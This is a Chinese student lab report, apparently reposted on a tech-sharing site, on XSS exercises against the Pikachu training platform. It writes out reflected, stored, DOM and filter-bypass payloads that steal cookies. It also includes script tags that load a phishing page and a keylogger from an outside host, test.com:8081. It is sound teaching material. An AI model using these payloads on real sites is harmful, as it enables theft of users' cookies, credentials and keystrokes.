ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

pikachu-XSS

2019-12-27 20:07:28  阅读:233  来源: 互联网

标签:XSS xss pikachu js cookie payload 输入


web安全

实验报告

 

实验二

XSS

 

 

 

学生姓名

高润泽

年级

2017级

区队

 网络安全实验班

指导教师

 高见老师

 

XSS(跨站脚本)概述

Cross-Site Scripting 简称为“CSS”,为避免与前端叠成样式表的缩写"CSS"冲突,故又称XSS。一般XSS可以分为如下几种常见类型:

    1.反射性XSS;

    2.存储型XSS;

    3.DOM型XSS;

 

XSS漏洞一直被评估为web漏洞中危害较大的漏洞,在OWASP TOP10的排名中一直属于前三的江湖地位。

XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。

形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。

因此在XSS漏洞的防范上,一般会采用“对输入进行过滤”和“输出进行转义”的方式进行处理:

  输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入;

  输出转义:根据输出点的位置对输出到前端的内容进行适当转义;

  1. 反射型xss(get)

 

题目确定为get传参

尝试将参数替换成js代码<script>alert(document.cookie)</script>

 

弹窗成功。可以发现这里没有设置过滤,直接获得cookie

 

  2.反射型xss(post)

使用admin用户登陆后发现输入框,再次输入rose,发现url无变化,为post传参

 

直接在输入框里输入js代码:

 

直接拿到cookie,此处仍然没有设置过滤。后台即可设置并获得cookie。

  3.存储型xss

依旧以js代码<script>alert(document.cookie)</script>测试

 

成功弹窗且在留言板下方出现删除按钮

 

确定其为存储型xss

接下来就可以构造payload进行钓鱼

Payload:

<script src="http://test.com:8081/pikachu-master/pkxss/xfish/fish.php"></srcipt>

接着修改fish.php设置好路径、

 

在输入框内输入payload后效果如下:

 

输入用户名rose,密码123456后即可在后台看到结果。

 

接着还可以尝试获取键盘记录:

pikachu平台有一个构造好的js文件和php文件,引用该script脚本会记录键盘记录,但要注意的是,因为有同源策略的存在,正常情况下的调用js脚本不会正常执行,只有当设置以下策略才会正常执行。

 

接着修改js文件中如下代码:

构造payload:

<script src="http://test.com:8081/pikachu-master/pkxss/rkeypress/rk.js"></srcipt>

查看网页发现rk.js确实已经在运行

 

接着在留言板出键入:

I am rose

 

后台即收到记录

 

 

  4.dom型XSS

按F12审查网站,寻找click me对应的函数:

 

在框里输入rose

 

发现网页源码中出现一条标签:

 

根据网页中源码的提示:

 

尝试构造payload:

'><img src="#" onclick="alert(document.cookie)">

输入后,点击图片即可弹出cookie

 

  5.dom型xss-x

同5按F12审查网站,寻找对应的函数:

 

查看domxss函数:

 

依旧按照提示构造payload:

 '><img src="#" onclick="alert(document.cookie)">

成功获得cookie

 

 

 

  6.xss盲打

随便输入内容测试:

 

 

 

 登陆进入后台查看:

 

按F12审查元素

 

发现此xss不用闭合,直接插入payload:

<script>alert(document.cookie)</script>

结果直接弹出cookie:

 

 

  7.xss之过滤

首先进行常规测试:

输入payload:<script>alert(document.cookie)</script>

 

发现返回了'>',猜测是<script被过滤,故选择更换payload:

<a herf=1 onclick="alert(document.cookie)">

结果成功弹出cookie

 

  8.xss之htmlspecialchars

 关于htmlspecialchars()函数

    htmlspecialchars()是PHP里面把预定义的字符转换为HTML实体的函数

    预定义的字符是

  • & 成为 &amp
  • " 成为 &quot
  • ' 成为 &#039
  • < 成为 &lt
  • > 成为 &gt

    可用引号类型

  • ENT_COMPAT:默认,仅编码双引号
  • ENT_QUOTES:编码双引号和单引号
  • ENT_NOQUOTES:不编码任何引号

尝试输入以下内容:

"><?#'6666

 

 

 

 

发现单引号'仍热可以使用,于是构造payload:

 ' onclick='alert(document.cookie)'

结果成功弹出cookie

 

 

  9.xss之href输出

利用8中构造的payload: ' onclick='alert(document.cookie)' 进行尝试:

发现连'都被过滤:

随即决定换一种方式,构造如下payload:

Javascript:alert(document.cookie)

结果成功弹出cookie

 

 

  10.xss之js输出

输入rose测试审查元素:

 

 它会把我们的输入放到JS中,然后对这个变量进行判断,然后再输出

   我们可以构造一个闭合,先用一个单引号和</script>闭合掉页面中的<script>,然后再插入自己的JS代码

 于是构造如下payload:'</script><script>alert(document.cookie)</script>

结果成功弹窗:

标签:XSS,xss,pikachu,js,cookie,payload,输入
来源: https://www.cnblogs.com/P201721440024/p/12109376.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有